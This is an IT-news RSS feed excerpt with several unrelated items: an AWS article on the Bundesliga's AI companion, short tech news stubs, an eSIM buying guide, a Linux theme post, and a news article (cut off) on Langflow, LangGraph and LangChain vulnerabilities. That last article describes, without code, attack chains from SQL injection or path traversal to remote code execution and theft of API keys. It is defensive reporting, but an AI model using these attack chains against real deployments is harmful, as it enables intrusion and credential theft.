<p>The <a href="https://www.bundesliga.com/">Bundesliga</a> has long talked about turning “data into devotion,” and now it has an agentic AI companion in its official app that lets fans chat in natural language, access live stats and historical context, and view personalized video highlights—all without leaving the app.</p>



<p>Bundesliga is the premier professional soccer league in Germany. It built its new AI companion, called Captain, on <a href="http://aws.com/">AWS</a> and embedded it in the official league app. For IT pros, this is more than just a clever sports-tech use case. It’s an early glimpse of what the customer experience will feel like when generative and agentic AI are not bolted on but, instead, become the primary way users navigate data, content, and services.</p>



<h2 class="wp-block-heading">Understanding Captain</h2>



<p>Captain serves as a conversational interface in the Bundesliga app, acting like a knowledgeable friend who watches every game with you. Fans can ask questions like, “How has <a href="https://en.wikipedia.org/wiki/Jamal_Musiala">Jamal Musiala</a> been playing for <a href="https://fcbayern.com/en">Bayern</a> this season compared to his national team?” and receive responses grounded in official league data, complete with stats, historical context, and relevant clips.</p>



<p>Key capabilities include:</p>



<ul class="wp-block-list">
<li>On-demand access to live statistics, historical match data, tactical analysis, trivia, and video highlights via chat.</li>



<li>Proactive insights during key moments, such as goals, penalties, milestones, where AI agents surface streaks, records, or parallels to historic games.</li>



<li>A “coach mode” that gamifies learning the sport, adapting explanations and daily lessons to each fan’s knowledge level.</li>
</ul>



<p>Under the hood, Captain uses a multi-agent architecture built on <a href="https://aws.amazon.com/bedrock">Amazon Bedrock</a> and <a href="https://aws.amazon.com/nova/">Amazon Nova</a>, dynamically routing each request to the appropriate model and workflow. Simple questions go to a lightweight model, while complex reasoning and data mashups are handled by more capable models, with text-to-SQL pipelines translating natural language into queries against the Bundesliga’s analytics stack. The result is a conversational front end built on a robust data platform.</p>



<h2 class="wp-block-heading">The data foundation</h2>



<p>What makes this notable is not only the UI but also the data infrastructure needed to deliver these capabilities. Historically, the Bundesliga tracked one point per player per second, generating roughly 3.6 million data points per match. With their move to 3D skeletal tracking—21 points per player at 50 frames per second—they now process roughly 200 million data points per match.</p>



<p>That data lands in a modern analytics and AI stack on AWS, including:</p>



<ul class="wp-block-list">
<li>Streaming ingestion via <a href="https://aws.amazon.com/msk/">Amazon MSK</a> and other services to handle real-time feeds.</li>



<li>A data lake and lakehouse foundation using S3 Tables and Apache Iceberg for open, schema-evolving storage.</li>



<li>Query and analytics via <a href="https://aws.amazon.com/athena/">Amazon Athena</a> and associated text-to-SQL workflows for on-the-fly question answering.</li>



<li>Vector stores to cache question-to-SQL patterns and reduce cost on repeated queries.</li>
</ul>



<p>On top of this, a set of agentic workflows continuously monitors live events, generates candidate “stories,” and pushes the best ones into Captain so fans see relevant narratives without having to know what to ask. This same foundation is already being used by the league to generate thousands of AI-powered narratives per season for broadcasters and editors, demonstrating how editorial and fan experiences can share a common AI backbone.</p>



<p>For IT leaders, a key lesson learned is that data strategy is as important as model selection in building compelling generative AI experiences.</p>



<h2 class="wp-block-heading">What this signals about the future of customer experience</h2>



<p>Captain illustrates several important shifts that will define AI-driven CX across industries.</p>



<ul class="wp-block-list">
<li><strong>Apps shift to companions.</strong> Instead of forcing users to navigate menus and features, the Bundesliga consolidates multiple use cases – scores, stats, historical research, video discovery, and learning – into a single conversational surface. This mirrors what enterprises will do with “digital relationship managers” in banking, “patient companions” in healthcare, and “shopping concierges” in retail.</li>



<li><strong>From reactive support to proactive storytelling.</strong> Most chatbots answer questions; Captain also looks ahead. When a major event occurs, agents work autonomously to find interesting angles, such as a record broken, a rare streak, a historical déjà vu, and push them to fans in real time. Imagine similar patterns in other domains: an insurance AI flagging a better coverage option at renewal, or a B2B vendor surfacing adoption risks before a renewal conversation.</li>



<li><strong>Experiences become adaptive.</strong> Coach Mode exemplifies progressive disclosure: it teaches a new fan the rules while offering tactical deep dives for advanced fans, all within the same interface. That’s exactly the model enterprises will need—systems that can explain a process to a novice and to a domain expert in different ways, without duplicating apps or content.</li>



<li><strong>Static journeys are evolving into AI-driven micro-journeys.</strong> The Bundesliga is using agentic AI to stitch together micro-journeys in real time. A question triggers an answer; a research agent follows up with deeper content; a video agent suggests highlights—all personalized and sequenced. In enterprise CX, journeys will increasingly be orchestrated by AI that adapts steps, channels, and content to context, rather than by rigid workflows.</li>
</ul>



<h2 class="wp-block-heading">Implications for IT pros and CX leaders</h2>



<p>For IT pros, CX improvement requires rethinking the architecture, governance, and operating models to support AI-native experiences. Here are some things to consider.</p>



<p><strong>1. Start with a data-first mindset</strong>. Captain only works because the Bundesliga invested years in building a robust data foundation. That includes high-fidelity tracking, consistent schemas, and streaming infrastructure. Before promising AI companions to your business stakeholders, you need to:</p>



<ul class="wp-block-list">
<li>Inventory your customer data sources and identify gaps in coverage, latency, and quality.</li>



<li>Rationalize schemas and metadata so AI agents can reason across systems (CRM, transactional systems, content libraries) without brittle transformations.</li>



<li>Plan for real-time or near-real-time data where “moment of truth” interactions matter.</li>
</ul>



<p>Without this groundwork, generative AI projects risk turning into expensive prototypes that can’t scale.</p>



<p><strong>2. Think in terms of AI agents, not just models</strong>. Bundesliga’s architecture separates concerns into agents: a router agent to determine intent, stats agents to query the right backends, and research agents to autonomously investigate events and propose stories. IT teams should similarly design:</p>



<ul class="wp-block-list">
<li>Routing layers that determine whether a request is informational, transactional, or analytical.</li>



<li>Specialized agents for data retrieval, verification, personalization, and safety.</li>



<li>Clear SLAs and guardrails for agent interactions with core systems.</li>
</ul>



<p>This moves you from one big LLM to an orchestrated system in which different components can evolve independently.</p>



<p><strong>3. Leverage dynamic routing for cost and performance</strong>. Bundesliga explicitly uses dynamic model routing. This approach uses lighter models for simple questions and more powerful ones for complex reasoning, cutting chat costs by more than a third without sacrificing accuracy. Enterprise IT can borrow this pattern:</p>



<ul class="wp-block-list">
<li>Use smaller models or even retrieval plus templating for repeatable queries.</li>



<li>Reserve premium models for complex, high-value interactions.</li>



<li>Continuously collect analytics on query types to refine routing policies.</li>
</ul>



<p>The result is an AI experience that scales economically rather than collapsing under inference costs.</p>



<p><strong>4. Redefine UX around conversation and context</strong>. Captain’s UX is not just chat; it’s chat tightly coupled with video playback, stats visualization, and contextual recommendations. For IT and product teams, this means:</p>



<ul class="wp-block-list">
<li>Designing conversational experiences that can invoke micro-apps or widgets (e.g., forms, dashboards, media players) in context.</li>



<li>Maintaining conversation state across channels, so a user can move from mobile to web or from chat to voice without losing context.</li>



<li>Instrumenting these flows to understand where AI helps, confuses, or frustrates users.</li>
</ul>



<p>Generative AI should be treated as a new interaction layer, not a standalone feature.</p>



<p><strong>5. Treat safety and trust as first-class requirements</strong>. Captain is built on official league data and protected by content safety guardrails to prevent hallucinations or inappropriate content. In enterprise settings, this translates to:</p>



<ul class="wp-block-list">
<li>Strict grounding of AI outputs in trusted systems of record.</li>



<li>Fine-grained access controls so agents see only what they should.</li>



<li>Human-in-the-loop workflows for high-risk outputs (e.g., financial advice, medical suggestions, legal communications).</li>
</ul>



<p>Trust will be the differentiator between AI experiences that delight and those that harm brand equity.</p>



<h2 class="wp-block-heading">How IT pros should think about next steps</h2>



<p>For most organizations, the Bundesliga’s Captain should be viewed as aspirational but certainly doable. Practically, IT pros can start by:</p>



<ul class="wp-block-list">
<li>Identifying one high-value, data-rich customer journey (e.g., onboarding, troubleshooting, order tracking) as a pilot.</li>



<li>Standing up a modest but modern data foundation for that journey, including event streaming and a unified view of context.</li>



<li>Prototyping an AI companion that combines retrieval-augmented generation with a couple of simple agents (for routing and follow-ups).</li>



<li>Instrumenting everything—latency, cost, satisfaction, containment—to build the business case for expanding to more journeys.</li>
</ul>



<p>The Bundesliga shows what happens when an organization treats AI not as a feature but as a new way to connect with fans. IT leaders who treat generative and agentic AI as central to their customer experience strategy will be the ones who turn their own data into genuine customer devotion.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Guernsey 5G Roll-Out Begins As First Sites Activated]]></title>
<description><![CDATA[Jersey Telecom switches on first two 5G sites with coverage across island set to roll out in phases over next four months This article has been indexed from Silicon UK Read the original article: Guernsey 5G Roll-Out Begins As First…
Read more →
The post Guernsey 5G Roll-Out Begins As First Sites ...]]></description>
<link>https://tsecurity.de/de/3614791/it-security-nachrichten/guernsey-5g-roll-out-begins-as-first-sites-activated/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614791/it-security-nachrichten/guernsey-5g-roll-out-begins-as-first-sites-activated/</guid>
<pubDate>Mon, 22 Jun 2026 09:53:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Jersey Telecom switches on first two 5G sites with coverage across island set to roll out in phases over next four months This article has been indexed from Silicon UK Read the original article: Guernsey 5G Roll-Out Begins As First…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/guernsey-5g-roll-out-begins-as-first-sites-activated/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/guernsey-5g-roll-out-begins-as-first-sites-activated/">Guernsey 5G Roll-Out Begins As First Sites Activated</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Best eSIMs for Europe Travel in 2026 – Tested on iPhone]]></title>
<description><![CDATA[In the old days, traveling to a destination like Europe meant suffering expensive roaming fees while still not always getting the best connections. At minimum, this can create frustrations for travelers, though it can also be a recipe for catastrophe given the right (or wrong) conditions. Whether...]]></description>
<link>https://tsecurity.de/de/3614517/ios-mac-os/best-esims-for-europe-travel-in-2026-tested-on-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614517/ios-mac-os/best-esims-for-europe-travel-in-2026-tested-on-iphone/</guid>
<pubDate>Mon, 22 Jun 2026 07:09:27 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In the old days, traveling to a destination like Europe meant suffering expensive roaming fees while still not always getting the best connections. At minimum, this can create frustrations for travelers, though it can also be a recipe for catastrophe given the right (or wrong) conditions. Whether you plan on visiting multiple destinations throughout Europe or are just taking a short trip, having the right eSIM plan can provide you with reliable mobile data without having to worry about local SIM cards. 



Keeping this in mind, we’re looking at some of the best eSIMs for Europe travel in 2026. Here are our top picks for iPhone users based on connectability, ease of use, pricing plans, and more. 



1. Jetpac eSIM







Among the eSIMs tested, Jetpac eSIM is the overall best eSIM for Europe travel, especially if your trip covers more than one country. From café-hopping in Paris to checking train times in Switzerland or finding your hotel in Rome, Jetpac keeps things simple with a single regional Europe eSIM that covers 32 European countries, with 5G where available.



Setting up on iPhone is quick. Pick a plan, download the Jetpac app from the Apple App Store, follow the steps, and then it’s bon voyage. During testing, Jetpac handled everyday travel needs smoothly, including maps, messaging, browsing, social media, and video calls across multiple European countries.



Jetpac also adds useful travel benefits beyond standard data. Essential apps like WhatsApp, Google Maps, and Uber can still work even after your data runs out, so you are not stuck without directions, ride booking, or a quick message. It also supports unlimited hotspot sharing and dual SIM use on compatible iPhones, making it easier to keep your main number active while using Jetpac for data.



The pricing is clear too. Jetpac eSIM does not auto-charge users, and its prepaid Europe plans range from 1GB to unlimited data for 30 days at USD 65.99. Add in automatic multi-network switching that connects you to the best available local 5G or 4G network while crossing borders, in-app voice calls from USD 1.99 for 5 minutes, 24/7 support via WhatsApp and email, SmartDelay airport lounge benefits on eligible plans, and a 4.8 Trustpilot rating, and Jetpac becomes one of the most well-rounded eSIM options for Europe travel.



2. Airalo







As one of the most recognizable names in the eSIM market, Airalo offers affordable regional plans for travelers looking to stay connected but not wanting to spend big. Looking at the company’s eSIM coverage of Europe, it has a large number of destinations under a single package. It can be especially appealing for those who are budget-conscious, including students and backpackers. 



On an iPhone, users just need to scan a QR code to get started, and direct installation instructions are provided after a purchase. During testing, Airalo was dependable for everyday tasks, including accessing maps, messages, and rideshare apps. Users can choose from a variety of data allowances, which is incredibly useful when choosing a plan. 



Looking at some of the negative aspects, Airalo does lack the travel perks found with other services, but its low entry pricing and extensive coverage help the platform earn its place on this list. Those just looking for a basic data plan may want to consider this one. 



3. Saily







Developed by the team that created NordVPN, Saily offers mobile connectivity that focuses on privacy for travelers. With regional European coverage and a user-friendly mobile app, users will have little issue purchasing, activating, and managing data on their iPhone. 



In the testing process, Saily delivered stable speeds that were good for streaming, video calls, navigation, and messaging. The overall app experience was particularly polished, which can be really beneficial for first-time eSIM users. Switching plans or monitoring data usage was rather straightforward, and the coverage is ideal for those aiming to visit multiple European destinations in a single trip. 



One of the biggest advantages of Saily is its focus on digital security. With features meant to help protect users relying on public Wi-Fi, this eSIM can also be appealing to remote workers and business travelers. If you have an interest in security when making connections, Saily may be one to watch out for in 2026. 



4. Holafly







Holafly is going to be good for those who can never get enough data. One of the most appealing aspects of Holafly is that it offers unlimited data plans, which can be great for those not wanting to concern themselves with their data usage while traveling through Europe.



Taking the eSIM to task, Holafly had little issue handling social media, video streaming, video calls, and navigation. Setting it up on an iPhone was pretty easy, and those that find themselves away from their hotel Wi-Fi for extended periods are sure to appreciate the platform. There’s definitely something relieving about not having to worry about data, making this one especially appealing for content creators and other power users. 



While unlimited anything can often be nice, bear in mind it comes with the tradeoff that Holafly plans can be expensive, especially compared to other platforms that have fixed data allowances. Those with an interest in unlimited connectivity throughout Europe should give this one a look, as should anyone who prioritizes convenience over cost. 



5. Ubigi 







As a platform, Ubigi is popular among international travelers for its reliable service, flexible data plans, and broad coverage. Offering regional European packages alongside global plans, it’s going to be a practical option for users who travel globally throughout the year. 



With consistent performance during testing, Ubigi also did a solid job maintaining stable connections for navigation, productivity, and messaging. Activating the service on an iPhone is rather simple, and there’s also a dedicated app for simplifying plan management and tracking data while traveling. 



Those who frequently stay on the move are sure to appreciate the platform’s wide range of plan options and strong carrier partnerships in multiple countries. Though it may not be the cheapest provider on the market, Ubigi’s combination of reliability and flexibility makes it a dependable choice for those who frequently travel internationally. 



The Final Word: Which eSIM Is Right for You?



A reliable eSIM can make traveling through Europe far easier for users. With the ability to gain instant access to services such as maps, rideshare apps, messaging, and other travel essentials, those traveling abroad should do their best to research all of their options before making a decision. 



While each provider on this list has its own set of positive aspects, Jetpac eSIM stands out through a combination of competitive pricing, reliable connectivity, and benefits that focus on travelers. 



It’s not always easy knowing where your next travel destinations may take you, but ensuring you have the right eSIM for the journey helps you stay prepared. There’s many out there, but not all of them can compete with the options available on this list. ]]></content:encoded>
</item>
<item>
<title><![CDATA[Pristine (and infinitely customizable) login screen theme system for Linux. Safe install/uninstall, CI-tested across 6 base distros]]></title>
<description><![CDATA[This is a highly configurable SDDM login system. Free and open source software of course, MIT licensed. It ships with 5 complete visual setups right out of the box (4 static images, like the one you saw, and 1 looping video), and you can tweak literally everything through a single theme.conf file...]]></description>
<link>https://tsecurity.de/de/3614365/linux-tipps/pristine-and-infinitely-customizable-login-screen-theme-system-for-linux-safe-installuninstall-ci-tested-across-6-base-distros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614365/linux-tipps/pristine-and-infinitely-customizable-login-screen-theme-system-for-linux-safe-installuninstall-ci-tested-across-6-base-distros/</guid>
<pubDate>Mon, 22 Jun 2026 03:55:12 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>This is a highly configurable SDDM login system.</p> <p>Free and open source software of course, MIT licensed.</p> <p>It ships with 5 complete visual setups right out of the box (4 static images, like the one you saw, and 1 looping video), and you can tweak literally everything through a single theme.conf file.</p> <p>You can swap the background image or video, adjust blur intensity, change fonts and sizing, shift the form layout (center/left &amp; right), change animation easing curves, and customize every single color hex across the text fields, buttons, and hover states.</p> <p>So, I've been running Linux exclusively for many, many years at this point.</p> <p>Over time, my setup has evolved into a highly tuned terminal centric &amp; keyboard driven machine, and I've decided to start open sourcing parts of it to give back to the community.</p> <p>There are many tools I've built for my personal <a href="https://github.com/rccyx/osyx">workstation</a>, and this specific tool happens to be a core login system.</p> <p>Even though a login screen may look trivial, if you daily drive Linux, you have probably run into the common dilemma:</p> <p>On one hand, you have the stock distribution defaults. They're incredibly stable and reliable, but they look very stock and out of place on a custom machine, and it's very hard to customize them.</p> <p>And on the other hand, you have highly stylized options built by community hobbyists. They look beautiful and creative, but they are often structurally brittle. They can leave untracked files across your directory tree, break unexpectedly, etc.</p> <p>When that happens, you have to deal with what I call the Monday morning problem.</p> <p>You're all of a sudden locked out at a TTY prompt, having to handle it yourself, and wasting time Googling at 8:00 AM when you should be doing anything BUT that!</p> <p>So I made this to have something that still looks premium and pristine on a login, but also brings enterprise like reliability to it. It gives you a super flexible QML design system without risking your system stability.</p> <p>The installation is just a one command safe run. It builds out a local staging area first, validates the files and dependencies, and only activates the login system once everything passes. If you happen to run it 55 times or so, it won't brick/duplicate anything. It simply checks the file state and moves on.</p> <p>It's tested across a massive matrix of distros, covering almost everyone at this point like Arch, Fedora, Debian, and Ubuntu (along with all the flavor bundles like Pop!_OS, Mint etc.). It works on openSUSE, Gentoo, even Alpine, and I just added NixOS support today.</p> <p>If a failure happens mid-installation, it rolls back automatically to your previous working configuration so your session is never compromised.</p> <p>The uninstaller is also first class.</p> <p>It pulls out all fonts, configurations, and the repository source, returning the system exactly to its pre-cloned baseline. The only thing it leaves behind is the base Qt dependencies since there is no way to know what was on your system beforehand.</p> <p>I also included a safe runtime preview command so you can test your visual changes on the fly without having to log out or reboot to verify the configuration.</p> <p>Now, this is technically an SDDM theme but it works across the distro matrix here. I broke down everything you need to know, how the stack sits, how to configure &amp; switch back, and also how to escape the TTY limbo just in case in the docs section .</p> <p>Source: <a href="https://github.com/rccyx/thyx">https://github.com/rccyx/thyx</a></p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/AshR75"> /u/AshR75 </a> <br> <span><a href="https://i.redd.it/yngelfnamq8h1.jpeg">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uc77bn/pristine_and_infinitely_customizable_login_screen/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4666: How I got into tech]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


I started out with Basic on the TI-99/4A in 1984. The bare machine could not be programmed by the user in machine code. In 1985 I bought a ZX Spectrum, that gave me total control over the machine.


I wrote two FORTH systems on the ZX-Spectrum.

...]]></description>
<link>https://tsecurity.de/de/3614279/podcasts/hpr4666-how-i-got-into-tech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614279/podcasts/hpr4666-how-i-got-into-tech/</guid>
<pubDate>Mon, 22 Jun 2026 02:03:34 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
I started out with Basic on the <a href="https://en.wikipedia.org/wiki/TI-99/4A">TI-99/4A</a> in 1984. The bare machine could not be programmed by the user in machine code. In 1985 I bought a <a href="https://en.wikipedia.org/wiki/ZX_Spectrum">ZX Spectrum</a>, that gave me total control over the machine.</p>

<p>
I wrote two <a href="https://en.wikipedia.org/wiki/Forth_(programming_language)">FORTH</a> systems on the ZX-Spectrum.</p>

<p>
In 1988 I got my first <a href="https://en.wikipedia.org/wiki/Intel_8088">8088</a> PC, also programming it in <a href="https://en.wikipedia.org/wiki/Forth_(programming_language)">FORTH</a>.</p>

<p>
In 1992 I got an <a href="https://en.wikipedia.org/wiki/I386">80386</a> PC and I ran Linux on it. MCC Interim Release from v. This was the first Linux distro.</p>

<p>
I have been using <a href="https://en.wikipedia.org/wiki/Linux">Linux</a> ever since. </p>

<p>
From then on I obtained newer PCs, such as a <a href="https://en.wikipedia.org/wiki/Pentium">Pentium</a> in 1995, a <a href="https://en.wikipedia.org/wiki/Pentium_II">Pentium-2</a> in 1998, a <a href="https://en.wikipedia.org/wiki/Pentium_4">Pentium-4</a> in 2003 and a Core-2 Duo in 2006.</p>

<p>
I used several <a href="https://hackerpublicradio.org/eps/hpr4666/%3Ca%20href=" https:>Linux</a> distributions: but I always return to Debian.</p>

<h3>Links:</h3>


<ul>
<li><a href="https://github.com/ForthHub/F83">https://github.com/ForthHub/F83</a> F83.COM is the ready to run FORTH system. </li>
<li><a href="https://github.com/uho/F-PC">https://github.com/uho/F-PC</a> F-PC - a Forth system optimized for IBM-PC, XT and AT machines running DOS</li>
<li><a href="https://www.latte.org/latte.html">https://www.latte.org/latte.html</a>Latte The Language for Transforming Text</li>
<li><a href="https://en.wikipedia.org/wiki/Joe's_Own_Editor">https://en.wikipedia.org/wiki/Joe's_Own_Editor</a>           </li>
<li><a href="https://www.freebsd.org/">https://www.freebsd.org/</a></li>
<li><a href="https://www.debian.org/">https://www.debian.org/</a></li>
<li><a href="https://www.gentoo.org/">https://www.gentoo.org/</a></li>
<li><a href="https://en.wikipedia.org/wiki/Mac_Mini">https://en.wikipedia.org/wiki/Mac_Mini</a></li>
<li><a href="https://en.wikipedia.org/wiki/PowerPC">https://en.wikipedia.org/wiki/PowerPC</a></li>
<li><a href="https://en.wikipedia.org/wiki/Ivy_Bridge_(microarchitecture)">https://en.wikipedia.org/wiki/Ivy_Bridge_(microarchitecture)</a></li>
<li><a href="https://en.wikipedia.org/wiki/Ubuntu">https://en.wikipedia.org/wiki/Ubuntu</a></li>
<li><a href="https://en.wikipedia.org/wiki/Firefox">https://en.wikipedia.org/wiki/Firefox</a></li>
<li><a href="https://en.wikipedia.org/wiki/Chromium_(web_browser)">https://en.wikipedia.org/wiki/Chromium_(web_browser)</a></li>
<li><a href="https://www.raspberrypi.com/products/raspberry-pi-400/">https://www.raspberrypi.com/products/raspberry-pi-400/</a></li>
<li><a href="https://www.intel.com/content/www/us/en/ark/products/series/217838/12th-generation-intel-core-i5-processors.html">https://www.intel.com/content/www/us/en/ark/products/series/217838/12th-generation-intel-core-i5-processors.html</a></li>
<li><a href="https://en.wikipedia.org/wiki/Windows_11">https://en.wikipedia.org/wiki/Windows_11</a></li>
</ul><p><a href="https://hackerpublicradio.org/eps/hpr4666/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[MDR Provider Comparison: Time to Discover and Respond to Threats]]></title>
<description><![CDATA[A detailed MDR provider comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose.]]></description>
<link>https://tsecurity.de/de/3612208/it-security-nachrichten/mdr-provider-comparison-time-to-discover-and-respond-to-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612208/it-security-nachrichten/mdr-provider-comparison-time-to-discover-and-respond-to-threats/</guid>
<pubDate>Sat, 20 Jun 2026 14:52:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A detailed MDR provider comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose.]]></content:encoded>
</item>
<item>
<title><![CDATA[MDR Provider Comparison: Time to Discover and Respond to Threats]]></title>
<description><![CDATA[A detailed MDR provider comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original article: MDR…
Read more →
The post MD...]]></description>
<link>https://tsecurity.de/de/3612201/it-security-nachrichten/mdr-provider-comparison-time-to-discover-and-respond-to-threats/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3612201/it-security-nachrichten/mdr-provider-comparison-time-to-discover-and-respond-to-threats/</guid>
<pubDate>Sat, 20 Jun 2026 14:35:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A detailed MDR provider comparison covering tiers, response speed, coverage, threat intelligence, pricing, and breach warranties to help you choose. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original article: MDR…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/mdr-provider-comparison-time-to-discover-and-respond-to-threats/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/mdr-provider-comparison-time-to-discover-and-respond-to-threats/">MDR Provider Comparison: Time to Discover and Respond to Threats</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[7,000 Langflow servers are under attack. LangGraph and LangChain have the same holes]]></title>
<description><![CDATA[Your AI agent did exactly what it was designed to do. The framework underneath it just handed an attacker a shell on the box that holds your OpenAI key, your database credentials, and your CRM tokens.That is not a hypothetical. In a few months, three of the most widely deployed AI agent framework...]]></description>
<link>https://tsecurity.de/de/3611334/it-nachrichten/7000-langflow-servers-are-under-attack-langgraph-and-langchain-have-the-same-holes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611334/it-nachrichten/7000-langflow-servers-are-under-attack-langgraph-and-langchain-have-the-same-holes/</guid>
<pubDate>Fri, 19 Jun 2026 23:31:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Your AI agent did exactly what it was designed to do. The framework underneath it just handed an attacker a shell on the box that holds your OpenAI key, your database credentials, and your CRM tokens.</p><p>That is not a hypothetical. In a few months, three of the most widely deployed AI agent frameworks each turned a known, ordinary bug class into a way through. <a href="https://research.checkpoint.com/2026/from-sqli-to-rce-exploiting-langgraphs-checkpointer/">Check Point Research</a> chained a SQL injection in LangGraph’s SQLite checkpointer to full remote code execution. Tenable and VulnCheck tracked a path traversal in Langflow’s file upload endpoint to active, in-the-wild RCE. <a href="https://www.cyera.com/research/langdrained-3-paths-to-your-data-through-the-worlds-most-popular-ai-framework">Cyera</a> documented a path traversal in LangChain-core’s prompt loader that reads your secrets off disk. Two paths to a shell, one to your keys. They are the same bug, wearing three frameworks.</p><p>These frameworks became production infrastructure faster than anyone secured them. They store agent state, take file uploads, load prompt configs, and hold the credentials to databases, CRMs, and internal APIs. The edge tools watch traffic. The endpoint tools watch processes. Neither was built to treat an imported framework as a boundary worth guarding, and that blind spot is exactly where all three chains live, widening every week as these frameworks ship to production.</p><h2><b>The LangGraph chain, SQL injection to a Python shell</b></h2><p>Start with the one most teams pulled into production this quarter. LangGraph gives AI agents memory through checkpointers, the persistence layer that stores execution state. It has cleared over 50 million downloads a month. Yarden Porat of Check Point Research took that layer apart and found three vulnerabilities. Two of them chain to RCE.</p><p><a href="https://advisories.gitlab.com/pypi/langgraph-checkpoint-sqlite/CVE-2025-67644/">CVE-2025-67644</a>, rated CVSS 7.3, is a SQL injection in the SQLite checkpointer. The function that builds the WHERE clause for checkpoint lookups drops user-controlled filter keys straight into the query with no parameterization and no escaping. This does not hit everyone, but where it hits, it is serious. A deployment is exposed when it self-hosts LangGraph on the SQLite or Redis checkpointer and lets untrusted input reach get_state_history() or a similar history endpoint. Meet those conditions, and an attacker who controls the filter writes a fabricated row straight into the checkpoint table. Run LangChain’s managed LangSmith platform on PostgreSQL, and the exposure is gone.</p><p>Then <a href="https://advisories.gitlab.com/pypi/langgraph/CVE-2026-28277/">CVE-2026-28277</a>, CVSS 6.8, finishes the job. LangGraph’s msgpack checkpoint decoder rebuilds Python objects from the stored data, which lets it import a module and call a named function with attacker-supplied arguments. That step needs write access to the checkpoint store; the SQL injection is what grants it remotely. LangGraph loads the forged row as a legitimate checkpoint, the decoder runs the specified function, including os.system, and code executes under the identity of the agent server. A third issue, CVE-2026-27022, CVSS 6.5, reaches the same place through the Redis checkpointer.</p><p>There has been no confirmed exploitation in the wild yet. A working proof-of-concept is public in Check Point’s disclosure. The fixes are version bumps: langgraph-checkpoint-sqlite to 3.0.1, langgraph to 1.0.10, and langgraph-checkpoint-redis to 1.0.2.</p><h2><b>The Langflow chain, one unauthenticated request to RCE</b></h2><p>Langflow is the one already under attack. CVE-2026-5027, CVSS 8.8, is a path traversal in the POST /api/v2/files endpoint, which takes the filename straight from the form data and writes it to disk unsanitized. An attacker packs that filename with traversal sequences and drops a file anywhere, such as a cron job in /etc/cron.d/. Because Langflow ships with auto-login enabled in its default configuration, an exposed instance needs no credentials at all. A single unauthenticated request reaches the endpoint, and the next cron run hands over a shell.</p><p>VulnCheck’s Caitlin Condon confirmed exploitation on June 9: “Our Canaries observed exploitation of CVE-2026-5027 that successfully leveraged the path traversal to write what appear to be test files on victim systems.” Censys put roughly 7,000 exposed instances on the internet, most in North America. This is the third Langflow flaw to draw active exploitation this year, after <a href="https://www.probablypwned.com/article/langflow-cve-2025-34291-muddywater-account-takeover-rce">CVE-2025-34291</a>, which the Iranian state-sponsored group MuddyWater weaponized and which CISA added to its <a href="https://thehackernews.com/2026/05/cisa-adds-exploited-langflow-and-trend.html">Known Exploited Vulnerabilities catalog</a> in May. CVE-2026-5027 itself was patched in version 1.9.0, released April 15.</p><p>The timeline is what sets the clock. The patch shipped April 15. Attacks started in June, and <a href="https://www.thestack.technology/langflow-instances-are-getting-exploited-again/">VulnCheck added CVE-2026-5027 to its exploited-vulnerabilities list June 8</a> once its sensors caught the first in-the-wild hits. Every instance left unpatched between those two dates has been sitting in the open for almost two months. The lesson for security teams is to start the patch clock at disclosure, not at a federal catalog entry.</p><h2><b>The LangChain-core gap, arbitrary file reads through the prompt loader</b></h2><p>LangChain-core, the foundation under both, disclosed <a href="https://thehackernews.com/2026/03/langchain-langgraph-flaws-expose-files.html">CVE-2026-34070</a>, CVSS 7.5, a path traversal in its legacy prompt-loading API. The load_prompt() functions read a file path out of a config dict with no check against traversal sequences or absolute paths, so an attacker who influences that path reads arbitrary files the process can reach, including the .env file holding OPENAI_API_KEY and ANTHROPIC_API_KEY. Cyera paired it with CVE-2025-68664, CVSS 9.3, a deserialization flaw that resolves environment secrets through a crafted object. The fix versions differ, which matters when you patch: CVE-2026-34070 lands in <a href="https://security.snyk.io/vuln/SNYK-PYTHON-LANGCHAINCORE-15809257">langchain-core 